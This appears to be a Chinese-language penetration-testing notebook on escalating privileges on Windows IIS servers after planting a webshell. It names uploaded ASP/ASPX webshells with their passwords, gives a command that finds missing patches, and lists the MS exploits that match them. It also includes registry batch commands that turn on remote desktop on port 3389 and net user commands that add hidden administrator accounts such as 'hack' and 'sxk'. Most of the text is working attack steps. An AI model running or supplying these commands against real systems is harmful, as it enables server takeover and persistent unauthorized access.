A,B同级用户越权
普通用户获得了管理员的权限
Web 用户直接提权成管理员用户
Exp 提权
数据库 SQLServer、MYSQL UDF 提权
第三⽅软件提权。
基于webshell提权的前提是,通过文件上传等漏洞获得webshell。
(1)上传asp大马 style.asp 密码1314
(2)执行命令whoami,提示拒绝访问。
(1)上传aspx大马
(2)执行一般命令时不会像asp木马一样,拒绝访问。
IIS尽量用aspx 大马,因为asp 大马脚本权限可能会比较低 ,可以尝试上传aspx 的大马。
思路:找补丁——>找漏洞——>找EXP
以windows2003 IIS提权为例。
这一步信息收集的目的是测试目标系统安装了哪些补丁。
2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
大于2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012 PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru
KB4013081 MS17-017
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195 MS10-065 IIS7
KB3198234 MS16-135
KB970483 MS09-020 IIS6
KB3031432 MS15-015
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
1.执行cmd命令
2.上传提权exp
需要目录写权限? 哪些目录有写权限?
【日志、缓存、回收站、大马所在目录(尝试过,失败了)】 exe
3.在命令行下开启3389 端口
2003
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
03|08 通用(--3389.bat)
echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg
4.创建用户
net user hack 123.com /add net localgroup administrators hack /add
5.远程连接
⚠️:IIS6.0比较特殊,asp大马不能执行命令。
asp大马 style.asp 1314
aspx 大马 jmdx.aspx d7sDs,/2sDSMEKX
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i “%i”|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
目标:KB3045171
KB3045171 MS15-051
KB3031432 MS15-015 【】
没有找到合适的EXP。
添加KB到信息搜集的代码中,KB956572 KB952004
2003用过 KB952004
这次用KB956572
⚠️:不同的大马权限是不同的,多尝试一些目录。
C:\windows\temp
上传成功。KB956572 对应的EXP提权。
提权:
KB956572 不好用。
KB 952004 提权也不好用。
上传3389.bat 文件
echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg
net user sxk 123.com /add
net localgroup administrators sxk /add